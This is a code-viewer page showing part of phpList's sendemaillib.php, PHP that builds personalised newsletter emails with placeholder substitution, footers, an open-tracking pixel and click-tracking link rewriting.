PageRenderTime 133ms CodeModel.GetById 39ms RepoModel.GetById 2ms app.codeStats 1ms

/public_html/lists/admin/sendemaillib.php

https://github.com/samtuke/phplist
PHP | 1508 lines | 1088 code | 177 blank | 243 comment | 313 complexity | 4dbe84387f8643ef2874a89b206b8aec MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1 
    

  1. <?php
    2. 

  2. require_once dirname(__FILE__).'/accesscheck.php';
    3. 

  3. 

  4. # send an email library
    5. 

  5. include_once dirname(__FILE__).'/class.phplistmailer.php';
    6. 

  6. 

  7. if (!function_exists("output")) {
    8. 

  8.   function output($text) {
    9. 

  9.    }
    10. 

  10. }
    11. 

  11. 

  12. function sendEmail ($messageid,$email,$hash,$htmlpref = 0,$rssitems = array(),$forwardedby = array()) {
    13. 

  13.   $getspeedstats = VERBOSE && !empty($GLOBALS['getspeedstats']) && isset($GLOBALS['processqueue_timer']);
    14. 

  14.   $sqlCountStart = $GLOBALS["pagestats"]["number_of_queries"];
    15. 

  15.   $isTestMail = isset($_GET['page']) && $_GET['page'] == 'send';
    16. 

  16. 

  17.   ## for testing concurrency, put in a delay to check if multiple send processes cause duplicates
    18. 

  18.   #usleep(rand(0,10) * 1000000);
    19. 

  19.     
    20. 

  20.   global $strThisLink,$strUnsubscribe,$PoweredByImage,$PoweredByText,$cached,$website,$counters;
    21. 

  21.   if ($email == "")
    22. 

  22.     return 0;
    23. 

  23.   if ($getspeedstats) output('sendEmail start '.$GLOBALS['processqueue_timer']->interval(1));
    24. 

  24.   
    25. 

  25.   #0013076: different content when forwarding 'to a friend'
    26. 

  26.   if (FORWARD_ALTERNATIVE_CONTENT) {
    27. 

  27.     $forwardContent = sizeof( $forwardedby ) > 0;
    28. 

  28.   } else {
    29. 

  29.     $forwardContent = 0;
    30. 

  30.   }
    31. 

  31. 

  32.   if (empty($cached[$messageid])) {
    33. 

  33.     if (!precacheMessage($messageid,$forwardContent)) {
    34. 

  34.       unset($cached[$messageid]);
    35. 

  35.       logEvent('Error loading message '.$messageid.'  in cache');
    36. 

  36.       return 0;
    37. 

  37.     }
    38. 

  38.   } else {
    39. 

  39.   #  dbg("Using cached {$cached[$messageid]["fromemail"]}");
    40. 

  40.     if (VERBOSE) output('Using cached message');
    41. 

  41.   }
    42. 

  42.   if (VERBOSE) {
    43. 

  43.     output(s('Sending message %d with subject %s to %s',$messageid,$cached[$messageid]["subject"],$email));
    44. 

  44.   }
    45. 

  45.   
    46. 

  46.   ## at this stage we don't know whether the content is HTML or text, it's just content
    47. 

  47.   $content = $cached[$messageid]['content'];
    48. 

  48. 

  49.   if (VERBOSE && $getspeedstats) {
    50. 

  50.     output('Load user start');
    51. 

  51.   }
    52. 

  52.   $userdata = array();
    53. 

  53.   $user_att_values = array();
    54. 

  54. 

  55.   #0011857: forward to friend, retain attributes
    56. 

  56.   if ($hash == 'forwarded' && defined('KEEPFORWARDERATTRIBUTES') && KEEPFORWARDERATTRIBUTES) {
    57. 

  57.     $user_att_values = getUserAttributeValues($forwardedby['email']);
    58. 

  58.   } elseif ($hash != 'forwarded') {
    59. 

  59.     $user_att_values = getUserAttributeValues($email);
    60. 

  60.   }
    61. 

  61.   if (!is_array($user_att_values)) $user_att_values = array();
    62. 

  62. 

  63.   foreach ($user_att_values as $key => $val) {
    64. 

  64.     $newkey = cleanAttributeName($key);
    65. 

  65.     ## in the help, we only list attributes with "strlen < 20"
    66. 

  66.     unset($user_att_values[$key]);
    67. 

  67.     if (strlen($key) < 20) {
    68. 

  68.       $user_att_values[$newkey] = $val;
    69. 

  69.     }
    70. 

  70.   }
    71. 

  71.  # print '<pre>';var_dump($user_att_values);print '</pre>';exit;
    72. 

  72.   $query = sprintf('select * from %s where email = ?', $GLOBALS["tables"]["user"]);
    73. 

  73.   $rs = Sql_Query_Params($query, array($email));
    74. 

  74.   $userdata = Sql_Fetch_Assoc($rs);
    75. 

  75.   if (empty($userdata['id'])) {
    76. 

  76.     $userdata = array();
    77. 

  77.   }
    78. 

  78.   #var_dump($userdata);
    79. 

  79. 

  80.   if (stripos($content,"[LISTS]") !== false) {
    81. 

  81.     $listsarr = array();
    82. 

  82.     $req = Sql_Query(sprintf('select list.name from %s as list,%s as listuser where list.id = listuser.listid and listuser.userid = %d',$GLOBALS["tables"]["list"],$GLOBALS["tables"]["listuser"],$userdata["id"]));
    83. 

  83.     while ($row = Sql_Fetch_Row($req)) {
    84. 

  84.       array_push($listsarr,$row[0]);
    85. 

  85.     }
    86. 

  86.     if (!empty($listsarr)) {
    87. 

  87.       $html['lists'] = join('<br/>',$listsarr);
    88. 

  88.       $text['lists'] = join("\n",$listsarr);
    89. 

  89.     } else {
    90. 

  90.       $html['lists'] = $GLOBALS['strNoListsFound'];
    91. 

  91.       $text['lists'] = $GLOBALS['strNoListsFound'];
    92. 

  92.     }
    93. 

  93.     unset($listsarr);
    94. 

  94.   }
    95. 

  95. 

  96.   if (VERBOSE && $getspeedstats) {
    97. 

  97.     output('Load user end');
    98. 

  98.   }
    99. 

  99.   
    100. 

  100.   if ($cached[$messageid]['userspecific_url']) {
    101. 

  101.     if (VERBOSE && $getspeedstats) {
    102. 

  102.       output('fetch personal URL start');
    103. 

  103.     }
    104. 

  104. 

  105.     ## Fetch external content, only if the URL has placeholders
    106. 

  106.     if ($GLOBALS["can_fetchUrl"] && preg_match("/\[URL:([^\s]+)\]/i",$content,$regs)) {
    107. 

  107.       while (isset($regs[1]) && strlen($regs[1])) {
    108. 

  108.         $url = $regs[1];
    109. 

  109.         if (!preg_match('/^http/i',$url)) {
    110. 

  110.           $url = 'http://'.$url;
    111. 

  111.         }
    112. 

  112.         $remote_content = fetchUrl($url,$userdata);
    113. 

  113. 

  114.         # @@ don't use this
    115. 

  115.         #      $remote_content = includeStyles($remote_content);
    116. 

  116. 

  117.         if ($remote_content) {
    118. 

  118.           $content = str_replace($regs[0],$remote_content,$content);
    119. 

  119.           $cached[$messageid]["htmlformatted"] = strip_tags($content) != $content;
    120. 

  120.         } else {
    121. 

  121.           logEvent("Error fetching URL: $regs[1] to send to $email");
    122. 

  122.           return 0;
    123. 

  123.         }
    124. 

  124.         preg_match("/\[URL:([^\s]+)\]/i",$content,$regs);
    125. 

  125.       }
    126. 

  126.     }
    127. 

  127.     if (VERBOSE && $getspeedstats) {
    128. 

  128.       output('fetch personal URL end');
    129. 

  129.     }
    130. 

  130.   }
    131. 

  131. 

  132.   if (VERBOSE && $getspeedstats) {
    133. 

  133.     output('define placeholders start');
    134. 

  134.   }
    135. 

  135. 

  136.   $url = getConfig("unsubscribeurl");
    137. 

  137.   ## https://mantis.phplist.com/view.php?id=16680 -> the "sep" should be & for the text links
    138. 

  138.   $sep = strpos($url,'?') === false ? '?':'&';
    139. 

  139.   
    140. 

  140.   $html["unsubscribe"] = sprintf('<a href="%s%suid=%s">%s</a>',$url,htmlspecialchars($sep),$hash,$strUnsubscribe);
    141. 

  141.   $text["unsubscribe"] = sprintf('%s%suid=%s',$url,$sep,$hash);
    142. 

  142.   $text["jumpoff"] = sprintf('%s%suid=%s&jo=1',$url,$sep,$hash);
    143. 

  143.   $html["unsubscribeurl"] = sprintf('%s%suid=%s',$url,htmlspecialchars($sep),$hash);
    144. 

  144.   $text["unsubscribeurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
    145. 

  145.   $text["jumpoffurl"] = sprintf('%s%suid=%s&jo=1',$url,$sep,$hash);
    146. 

  146. 

  147.   #0013076: Blacklisting posibility for unknown users
    148. 

  148.   $url = getConfig("blacklisturl");
    149. 

  149.   $sep = strpos($url,'?') === false ? '?':'&';
    150. 

  150.   $html["blacklist"] = sprintf('<a href="%s%semail=%s">%s</a>',$url,htmlspecialchars($sep),$email,$strUnsubscribe);
    151. 

  151.   $text["blacklist"] = sprintf('%s%semail=%s',$url,$sep,$email);
    152. 

  152.   $html["blacklisturl"] = sprintf('%s%semail=%s',$url,htmlspecialchars($sep),$email);
    153. 

  153.   $text["blacklisturl"] = sprintf('%s%semail=%s',$url,$sep,$email);
    154. 

  154. 

  155.   #0013076: Problem found during testing: message part must be parsed correctly as well.  
    156. 

  156.   if (sizeof($forwardedby) && isset($forwardedby['email'])) {
    157. 

  157.     $html["unsubscribe"] = $html["blacklist"];
    158. 

  158.     $text["unsubscribe"] = $text["blacklist"];
    159. 

  159.     $html["forwardedby"] = $forwardedby["email"];
    160. 

  160.     $text["forwardedby"] = $forwardedby["email"];
    161. 

  161.   }
    162. 

  162.   
    163. 

  163.   $url = getConfig("subscribeurl");$sep = strpos($url,'?') === false ? '?':'&';
    164. 

  164.   $html["subscribe"] = sprintf('<a href="%s">%s</a>',$url,$strThisLink);
    165. 

  165.   $text["subscribe"] = sprintf('%s',$url);
    166. 

  166.   $html["subscribeurl"] = sprintf('%s',$url);
    167. 

  167.   $text["subscribeurl"] = sprintf('%s',$url);
    168. 

  168.   $url = getConfig("forwardurl");$sep = strpos($url,'?') === false ? '?':'&';
    169. 

  169.   $html["forward"] = sprintf('<a href="%s%suid=%s&amp;mid=%d">%s</a>',$url,htmlspecialchars($sep),$hash,$messageid,$strThisLink);
    170. 

  170.   $text["forward"] = sprintf('%s%suid=%s&mid=%d',$url,$sep,$hash,$messageid);
    171. 

  171.   $html["forwardurl"] = sprintf('%s%suid=%s&amp;mid=%d',$url,htmlspecialchars($sep),$hash,$messageid);
    172. 

  172.   $text["forwardurl"] = $text["forward"];
    173. 

  173.   $html["messageid"] = sprintf('%d',$messageid);
    174. 

  174.   $text["messageid"] = sprintf('%d',$messageid);
    175. 

  175.   $url = getConfig("forwardurl");
    176. 

  176. 

  177.   # make sure there are no newlines, otherwise they get turned into <br/>s
    178. 

  178.   $html["forwardform"] = sprintf('<form method="get" action="%s" name="forwardform" class="forwardform"><input type="hidden" name="uid" value="%s" /><input type="hidden" name="mid" value="%d" /><input type="hidden" name="p" value="forward" /><input type=text name="email" value="" class="forwardinput" /><input name="Send" type="submit" value="%s" class="forwardsubmit"/></form>',$url,$hash,$messageid,$GLOBALS['strForward']);
    179. 

  179.   $text["signature"] = "\n\n-- powered by phpList, www.phplist.com --\n\n";
    180. 

  180.   $url = getConfig("preferencesurl");$sep = strpos($url,'?') === false ? '?':'&';
    181. 

  181.   $html["preferences"] = sprintf('<a href="%s%suid=%s">%s</a>',$url,htmlspecialchars($sep),$hash,$strThisLink);
    182. 

  182.   $text["preferences"] = sprintf('%s%suid=%s',$url,$sep,$hash);
    183. 

  183.   $html["preferencesurl"] = sprintf('%s%suid=%s',$url,htmlspecialchars($sep),$hash);
    184. 

  184.   $text["preferencesurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
    185. 

  185. 

  186.   $url = getConfig("confirmationurl");$sep = strpos($url,'?') === false ? '?':'&';
    187. 

  187.   $html["confirmationurl"] = sprintf('%s%suid=%s',$url,htmlspecialchars($sep),$hash);
    188. 

  188.   $text["confirmationurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
    189. 

  189. 

  190.   #historical, not sure it's still used
    191. 

  191.   $html["userid"] = $hash;
    192. 

  192.   $text["userid"] = $hash;
    193. 

  193.   
    194. 

  194.   $html['website'] = $GLOBALS['website']; # Your website's address, e.g. www.yourdomain.com
    195. 

  195.   $text['website'] = $GLOBALS['website'];
    196. 

  196.   $html['domain'] = $GLOBALS['domain'];   # Your domain, e.g. yourdomain.com
    197. 

  197.   $text['domain'] = $GLOBALS['domain'];
    198. 

  198. 

  199.   if ($hash != 'forwarded') {
    200. 

  200.     $text['footer'] = $cached[$messageid]["textfooter"];
    201. 

  201.     $html['footer'] = $cached[$messageid]["htmlfooter"];
    202. 

  202.   } else {
    203. 

  203.     #0013076: different content when forwarding 'to a friend'
    204. 

  204.     if( FORWARD_ALTERNATIVE_CONTENT ) {
    205. 

  205.       $text['footer'] = stripslashes($messagedata["forwardfooter"]);
    206. 

  206.     } else {
    207. 

  207.       $text['footer'] = getConfig('forwardfooter');
    208. 

  208.     }
    209. 

  209.     $html['footer'] = $text['footer'];
    210. 

  210.   }
    211. 

  211. 

  212. /*
    213. 

  213.   We request you retain the signature below in your emails including the links.
    214. 

  214.   This not only gives respect to the large amount of time given freely
    215. 

  215.   by the developers  but also helps build interest, traffic and use of
    216. 

  216.   phpList, which is beneficial to it's future development.
    217. 

    218. 

  218.   You can configure how the credits are added to your pages and emails in your
    219. 

  219.   config file.
    220. 

    221. 

  221.   Michiel Dethmers, phpList Ltd 2003 - 2013
    222. 

  222. */
    223. 

  223.   if (!EMAILTEXTCREDITS) {
    224. 

  224.     $html["signature"] = $PoweredByImage;#'<div align="center" id="signature"><a href="http://www.phplist.com"><img src="powerphplist.png" width=88 height=31 title="Powered by PHPlist" alt="Powered by PHPlist" border="0" /></a></div>';
    225. 

  225.     # oops, accidentally became spyware, never intended that, so take it out again :-)
    226. 

  226.     $html["signature"] = preg_replace('/src=".*power-phplist.png"/','src="powerphplist.png"',$html["signature"]);
    227. 

  227.   } else {
    228. 

  228.     $html["signature"] = $PoweredByText;
    229. 

  229.   }
    230. 

  230. #  $content = $cached[$messageid]["htmlcontent"];
    231. 

  231. 

  232.   if (VERBOSE && $getspeedstats) {
    233. 

  233.     output('define placeholders end');
    234. 

  234.   }
    235. 

  235. 

  236.   ## Fill text and html versions depending on given versions.
    237. 

  237. 

  238.   if (VERBOSE && $getspeedstats) {
    239. 

  239.     output('parse text to html or html to text start');
    240. 

  240.   }
    241. 

  241. 

  242.   if ($cached[$messageid]["htmlformatted"]) {
    243. 

  243.     if (empty($cached[$messageid]["textcontent"])) {
    244. 

  244.       $textcontent = HTML2Text($content);
    245. 

  245.     } else {
    246. 

  246.       $textcontent = $cached[$messageid]["textcontent"];
    247. 

  247.     }
    248. 

  248.     $htmlcontent = $content;
    249. 

  249.   } else {
    250. 

  250.     if (empty($cached[$messageid]["textcontent"])) {
    251. 

  251.       $textcontent = $content;
    252. 

  252.     } else {
    253. 

  253.       $textcontent = $cached[$messageid]["textcontent"];
    254. 

  254.     }
    255. 

  255.     $htmlcontent = parseText($content);
    256. 

  256.   }
    257. 

  257. 

  258.   if (VERBOSE && $getspeedstats) {
    259. 

  259.     output('parse text to html or html to text end');
    260. 

  260.   }
    261. 

  261. 

  262.   $defaultstyle = getConfig("html_email_style");
    263. 

  263.   $adddefaultstyle = 0;
    264. 

  264.   
    265. 

  265.   if (VERBOSE && $getspeedstats) {
    266. 

  266.     output('merge into template start');
    267. 

  267.   }
    268. 

  268. 

  269.   if ($cached[$messageid]["template"])
    270. 

  270.     # template used
    271. 

  271.     $htmlmessage = str_replace("[CONTENT]",$htmlcontent,$cached[$messageid]["template"]);
    272. 

  272.   else {
    273. 

  273.     # no template used
    274. 

  274.     $htmlmessage = $htmlcontent;
    275. 

  275.     $adddefaultstyle = 1;
    276. 

  276.   }
    277. 

  277.   $textmessage = $textcontent;
    278. 

  278.   
    279. 

  279.   if (VERBOSE && $getspeedstats) {
    280. 

  280.     output('merge into template end');
    281. 

  281.   }
    282. 

  282.   ## Parse placeholders
    283. 

  283. 

  284.   if (VERBOSE && $getspeedstats) {
    285. 

  285.     output('parse placeholders start');
    286. 

  286.   }
    287. 

  287. 

  288. 

  289. /*
    290. 

  290.   var_dump($html);
    291. 

  291.   var_dump($userdata);
    292. 

  292.   var_dump($user_att_values);
    293. 

  293.   exit;
    294. 

  294. */
    295. 

  295. 

  296. 

  297. #  print htmlspecialchars($htmlmessage);exit;
    298. 

  298. 

  299.   ### @@@TODO don't use forward and forward form in a forwarded message as it'll fail
    300. 

  300. 

  301.   if (strpos($htmlmessage, "[FOOTER]") !== false)
    302. 

  302.     $htmlmessage = str_ireplace("[FOOTER]",$html["footer"],$htmlmessage);
    303. 

  303.   elseif ($html["footer"])
    304. 

  304.     $htmlmessage = addHTMLFooter($htmlmessage,'<br />'.$html["footer"]);
    305. 

  305. 

  306.   if (strpos($htmlmessage,"[SIGNATURE]") !== false) {
    307. 

  307.     $htmlmessage = str_ireplace("[SIGNATURE]",$html["signature"],$htmlmessage);
    308. 

  308.   } else {
    309. 

  309. # BUGFIX 0015303, 2/2
    310. 

  310. //    $htmlmessage .= '<br />'.$html["signature"];
    311. 

  311.       $htmlmessage = addHTMLFooter($htmlmessage, '
    312. 

  312. '. $html["signature"]);
    313. 

  313.   }
    314. 

  314. 

  315. 

  316. # END BUGFIX 0015303, 2/2
    317. 

  317. 

  318.   if (strpos($textmessage,"[FOOTER]"))
    319. 

  319.     $textmessage = str_ireplace("[FOOTER]",$text["footer"],$textmessage);
    320. 

  320.   else
    321. 

  321.     $textmessage .= "\n\n".$text["footer"];
    322. 

  322. 

  323.   if (strpos($textmessage,'[SIGNATURE]'))
    324. 

  324.     $textmessage = str_ireplace("[SIGNATURE]",$text["signature"],$textmessage);
    325. 

  325.   else
    326. 

  326.     $textmessage .= "\n".$text["signature"];
    327. 

  327. 

  328.   ### addition to handle [FORWARDURL:Message ID:Link Text] (link text optional)
    329. 

  329. 

  330.   while (preg_match('/\[FORWARD:([^\]]+)\]/Uxm',$htmlmessage,$regs)) {
    331. 

  331.     $newforward = $regs[1];
    332. 

  332.     $matchtext = $regs[0];
    333. 

  333.     if (strpos($newforward,':')) {
    334. 

  334.       ## using FORWARDURL:messageid:linktext
    335. 

  335.       list($forwardmessage,$forwardtext) = explode(':',$newforward);
    336. 

  336.     } else {
    337. 

  337.       $forwardmessage = sprintf('%d',$newforward);
    338. 

  338.       $forwardtext = 'this link';
    339. 

  339.     }
    340. 

  340.     if (!empty($forwardmessage)) {
    341. 

  341.       $url = getConfig("forwardurl");
    342. 

  342.       $sep = strpos($url,'?') === false ? '?':'&';
    343. 

  343.       $forwardurl = sprintf('%s%suid=%s&mid=%d',$url,$sep,$hash,$forwardmessage);
    344. 

  344.       $htmlmessage = str_replace($matchtext,'<a href="'.htmlspecialchars($forwardurl).'">'.$forwardtext.'</a>',$htmlmessage);
    345. 

  345.     } else {
    346. 

  346.       ## make sure to remove the match, otherwise, it'll be an eternal loop
    347. 

  347.       $htmlmessage = str_replace($matchtext,'',$htmlmessage);
    348. 

  348.     }
    349. 

  349.   }
    350. 

  350. 

  351.   ## the text message has to be parsed seperately, because the line might wrap if the text for the link is long, so the match text is different
    352. 

  352.   while (preg_match('/\[FORWARD:([^\]]+)\]/Uxm',$textmessage,$regs)) {
    353. 

  353.     $newforward = $regs[1];
    354. 

  354.     $matchtext = $regs[0];
    355. 

  355.     if (strpos($newforward,':')) {
    356. 

  356.       ## using FORWARDURL:messageid:linktext
    357. 

  357.       list($forwardmessage,$forwardtext) = explode(':',$newforward);
    358. 

  358.     } else {
    359. 

  359.       $forwardmessage = sprintf('%d',$newforward);
    360. 

  360.       $forwardtext = 'this link';
    361. 

  361.     }
    362. 

  362.     if (!empty($forwardmessage)) {
    363. 

  363.       $url = getConfig("forwardurl");$sep = strpos($url,'?') === false ? '?':'&';
    364. 

  364.       $forwardurl = sprintf('%s%suid=%s&mid=%d',$url,$sep,$hash,$forwardmessage);
    365. 

  365.       $textmessage = str_replace($matchtext,$forwardtext.' '.$forwardurl,$textmessage);
    366. 

  366.     } else {
    367. 

  367.       ## make sure to remove the match, otherwise, it'll be an eternal loop
    368. 

  368.       $textmessage = str_replace($matchtext,'',$textmessage);
    369. 

  369.     }
    370. 

  370.   }
    371. 

  371. 

  372. #  $req = Sql_Query(sprintf('select filename,data from %s where template = %d',
    373. 

  373. #    $GLOBALS["tables"]["templateimage"],$cached[$messageid]["templateid"]));
    374. 

  374. 

  375.   if (ALWAYS_ADD_USERTRACK) {
    376. 

  376.     if (stripos($htmlmessage,'</body>')) {
    377. 

  377.       $htmlmessage = str_replace('</body>','<img src="'.$GLOBALS['public_scheme'].'://'.$website.$GLOBALS["pageroot"].'/ut.php?u='.$hash.'&amp;m='.$messageid.'" width="1" height="1" border="0" /></body>',$htmlmessage);
    378. 

  378.     } else {
    379. 

  379.       $htmlmessage .= '<img src="'.$GLOBALS['public_scheme'].'://'.$website.$GLOBALS["pageroot"].'/ut.php?u='.$hash.'&amp;m='.$messageid.'" width="1" height="1" border="0" />';
    380. 

  380.     }
    381. 

  381.   } else {
    382. 

  382.     ## can't use str_replace or str_ireplace, because those replace all, and we only want to replace one
    383. 

  383.     $htmlmessage = preg_replace( '/\[USERTRACK\]/i','<img src="'.$GLOBALS['public_scheme'].'://'.$website.$GLOBALS["pageroot"].'/ut.php?u='.$hash.'&amp;m='.$messageid.'" width="1" height="1" border="0" />',$htmlmessage,1);
    384. 

  384.   }
    385. 

  385.   # make sure to only include usertrack once, otherwise the stats would go silly
    386. 

  386.   $htmlmessage = str_ireplace('[USERTRACK]','',$htmlmessage);
    387. 

  387. 

  388.   $html['subject'] = $cached[$messageid]["subject"];
    389. 

  389.   $text['subject'] = $cached[$messageid]["subject"];
    390. 

  390.   
    391. 

  391.   $htmlmessage = parsePlaceHolders($htmlmessage,$html);
    392. 

  392.   $textmessage = parsePlaceHolders($textmessage,$text);
    393. 

  393. 

  394.   if (VERBOSE && $getspeedstats) {
    395. 

  395.     output('parse placeholders end');
    396. 

  396.   }
    397. 

  397. 

  398.   if (VERBOSE && $getspeedstats) {
    399. 

  399.     output('parse userdata start');
    400. 

  400.   }
    401. 

  401.   
    402. 

  402.   $htmlmessage = parsePlaceHolders($htmlmessage,$userdata);
    403. 

  403.   $textmessage = parsePlaceHolders($textmessage,$userdata);
    404. 

  404. 

  405. //CUT 2
    406. 

  406.   
    407. 

  407.   $destinationemail = '';
    408. 

  408.   if (is_array($user_att_values)) {
    409. 

  409. // CUT 3
    410. 

  410.     $htmlmessage = parsePlaceHolders($htmlmessage,$user_att_values);
    411. 

  411.     $textmessage = parsePlaceHolders($textmessage,$user_att_values);
    412. 

  412.   }
    413. 

  413. 

  414.   if (VERBOSE && $getspeedstats) {
    415. 

  415.     output('parse userdata end');
    416. 

  416.   }
    417. 

  417. 

  418.   if (!$destinationemail) {
    419. 

  419.     $destinationemail = $email;
    420. 

  420.   }
    421. 

  421. 

  422.   # this should move into a plugin
    423. 

  423.   if (strpos($destinationemail,'@') === false && isset($GLOBALS["expand_unqualifiedemail"])) {
    424. 

  424.     $destinationemail .= $GLOBALS["expand_unqualifiedemail"];
    425. 

  425.   }
    426. 

  426.   
    427. 

  427.   if (VERBOSE && $getspeedstats) {
    428. 

  428.     output('pass to plugins for destination email start');
    429. 

  429.   }
    430. 

  430.   foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    431. 

  431. #    print "Checking Destination for ".$plugin->name."<br/>";
    432. 

  432.     $destinationemail = $plugin->setFinalDestinationEmail($messageid,$user_att_values,$destinationemail);
    433. 

  433.   }
    434. 

  434.   if (VERBOSE && $getspeedstats) {
    435. 

  435.     output('pass to plugins for destination email end');
    436. 

  436.   }
    437. 

  437. 

  438.   foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    439. 

  439.     $textmessage = $plugin->parseOutgoingTextMessage($messageid,$textmessage,$destinationemail, $userdata);
    440. 

  440.     $htmlmessage = $plugin->parseOutgoingHTMLMessage($messageid,$htmlmessage,$destinationemail, $userdata);
    441. 

  441.   }
    442. 

  442. 

  443.   ## click tracking
    444. 

  444.   # for now we won't click track forwards, as they are not necessarily users, so everything would fail
    445. 

  445.   if (VERBOSE && $getspeedstats) {
    446. 

  446.     output('click track start');
    447. 

  447.   }
    448. 

  448. 

  449.   if (CLICKTRACK && $hash != 'forwarded' && !empty($userdata['id'])) {
    450. 

  450.     $urlbase = '';
    451. 

  451.     # let's leave this for now
    452. 

  452.     /*
    453. 

  453.     if (preg_match('/<base href="(.*)"([^>]*)>/Umis',$htmlmessage,$regs)) {
    454. 

  454.       $urlbase = $regs[1];
    455. 

  455.     } else {
    456. 

  456.       $urlbase = '';
    457. 

  457.     }
    458. 

  458. #    print "URLBASE: $urlbase<br/>";
    459. 

  459.     */
    460. 

  460. 

  461.     # convert html message
    462. 

  462. #    preg_match_all('/<a href="?([^> "]*)"?([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
    463. 

  463.     preg_match_all('/<a (.*)href=["\'](.*)["\']([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
    464. 

  464. 

  465.     # to process the Yahoo webpage with base href and link like <a href=link> we'd need this one
    466. 

  466. #    preg_match_all('/<a href=([^> ]*)([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
    467. 

  467.     $clicktrack_root = sprintf('%s://%s/lt.php',$GLOBALS["public_scheme"],$website.$GLOBALS["pageroot"]);
    468. 

  468.     for($i=0; $i<count($links[2]); $i++){
    469. 

  469.       $link = cleanUrl($links[2][$i]); 
    470. 

  470.       $link = str_replace('"','',$link);
    471. 

  471.       if (preg_match('/\.$/',$link)) {
    472. 

  472.         $link = substr($link,0,-1);
    473. 

  473.       }
    474. 

  474.       $linkid = 0;
    475. 

  475. 

  476.       $linktext = $links[4][$i];
    477. 

  477. 

  478.       ## if the link is text containing a "protocol" eg http:// then do not track it, otherwise
    479. 

  479.       ## it will look like Phishing
    480. 

  480.       ## it's ok when the link is an image
    481. 

  481.       $linktext = strip_tags($linktext);
    482. 

  482.       $looksLikePhishing = stripos($linktext,'https://') !== false || stripos($linktext,'http://') !== false;
    483. 

  483.       
    484. 

  484.       if (!$looksLikePhishing && (preg_match('/^http|ftp/',$link) || preg_match('/^http|ftp/',$urlbase)) && (stripos($link, 'www.phplist.com') === false) && !strpos($link,$clicktrack_root)) {
    485. 

  485.         # take off personal uids
    486. 

  486.         $url = cleanUrl($link,array('PHPSESSID','uid'));
    487. 

  487. 

  488. #        $url = preg_replace('/&uid=[^\s&]+/','',$link);
    489. 

  489. 

  490. #        if (!strpos('http:',$link)) {
    491. 

  491. #          $link = $urlbase . $link;
    492. 

  492. #        }
    493. 

  493. 

  494.         $linkid = clickTrackLinkId($messageid,$userdata['id'],$url,$link);
    495. 

  495. 

  496.         $masked = "H|$linkid|$messageid|".$userdata['id'] ^ XORmask;
    497. 

  497.         $masked = base64_encode($masked);
    498. 

  498.         ## 15254- the encoding adds one or two extraneous = signs, take them off
    499. 

  499.         $masked = preg_replace('/=$/','',$masked);
    500. 

  500.         $masked = preg_replace('/=$/','',$masked);
    501. 

  501.         $masked = urlencode($masked);
    502. 

  502. 

  503.         if (!CLICKTRACK_LINKMAP) {
    504. 

  504.           $newlink = sprintf('<a %shref="%s://%s/lt.php?id=%s" %s>%s</a>',$links[1][$i],$GLOBALS["public_scheme"],$website.$GLOBALS["pageroot"],$masked,$links[3][$i],$links[4][$i]);
    505. 

  505.         } else {
    506. 

  506.           $newlink = sprintf('<a %shref="%s://%s%s" %s>%s</a>',$links[1][$i],$GLOBALS["public_scheme"],$website.CLICKTRACK_LINKMAP,$masked,$links[3][$i],$links[4][$i]);
    507. 

  507.         }
    508. 

  508.         $htmlmessage = str_replace($links[0][$i], $newlink, $htmlmessage);
    509. 

  509.       }
    510. 

  510.     }
    511. 

  511.     
    512. 

  512.     # convert Text message
    513. 

  513.     # first find occurances of our top domain, to avoid replacing them later
    514. 

  514. 

  515.     # hmm, this is no point, it's not just *our* topdomain, but any 
    516. 

    517. 

  517.   if (0) {
    518. 

  518.     preg_match_all('#(https?://'.$GLOBALS['website'].'/?)\s+#mis',$textmessage,$links);
    519. 

  519. #    preg_match_all('#(https?://[a-z0-9\./\#\?&:@=%\-]+)#ims',$textmessage,$links);
    520. 

  520. #    preg_match_all('!(https?:\/\/www\.[a-zA-Z0-9\.\/#~\?+=&%@-_]+)!mis',$textmessage,$links);
    521. 

  521. 

  522.     for($i=0; $i<count($links[1]); $i++){
    523. 

  523.       # not entirely sure why strtolower was used, but it seems to break things http://mantis.phplist.com/view.php?id=4406
    524. 

  524. #      $link = strtolower(cleanUrl($links[1][$i]));
    525. 

  525.       $link = cleanUrl($links[1][$i]);
    526. 

  526.       if (preg_match('/\.$/',$link)) {
    527. 

  527.         $link = substr($link,0,-1);
    528. 

  528.       }
    529. 

  529.       $linkid = 0;
    530. 

  530.       if (preg_match('/^http|ftp/',$link) && (stripos($link, 'www.phplist.com') === false) && !strpos($link,$clicktrack_root)) {
    531. 

  531.         $url = cleanUrl($link,array('PHPSESSID','uid'));
    532. 

  532.         $req = Sql_Query(sprintf('insert ignore into %s (messageid,userid,url,forward)
    533. 

  533.           values(%d,%d,"%s","%s")',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$url,$link));
    534. 

  534.         $req = Sql_Fetch_Row_Query(sprintf('select linkid from %s where messageid = %s and userid = %d and forward = "%s"
    535. 

  535.         ',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$link));
    536. 

  536.         $linkid = $req[0];
    537. 

  537. 

  538.         $masked = "T|$linkid|$messageid|".$userdata['id'] ^ XORmask;
    539. 

  539.         $masked = urlencode(base64_encode($masked));
    540. 

  540.         $newlink = sprintf('%s://%s/lt.php?id=%s',$GLOBALS["public_scheme"],$website.$GLOBALS["pageroot"],$masked);
    541. 

  541.         $textmessage = str_replace($links[0][$i], '<'.$newlink.'>', $textmessage);
    542. 

  542.       }
    543. 

  543.     }
    544. 

  544. 

  545.   }
    546. 

  546.     #now find the rest
    547. 

  547.     # @@@ needs to expand to find complete urls like:
    548. 

  548.     #http://user:password@www.web-site.com:1234/document.php?parameter=something&otherpar=somethingelse#anchor
    549. 

  549.     # or secure
    550. 

  550.     #https://user:password@www.website.com:2345/document.php?parameter=something%20&otherpar=somethingelse#anchor
    551. 

  551. 

  552.     preg_match_all('#(https?://[^\s\>\}\,]+)#mis',$textmessage,$links);
    553. 

  553. #    preg_match_all('#(https?://[a-z0-9\./\#\?&:@=%\-]+)#ims',$textmessage,$links);
    554. 

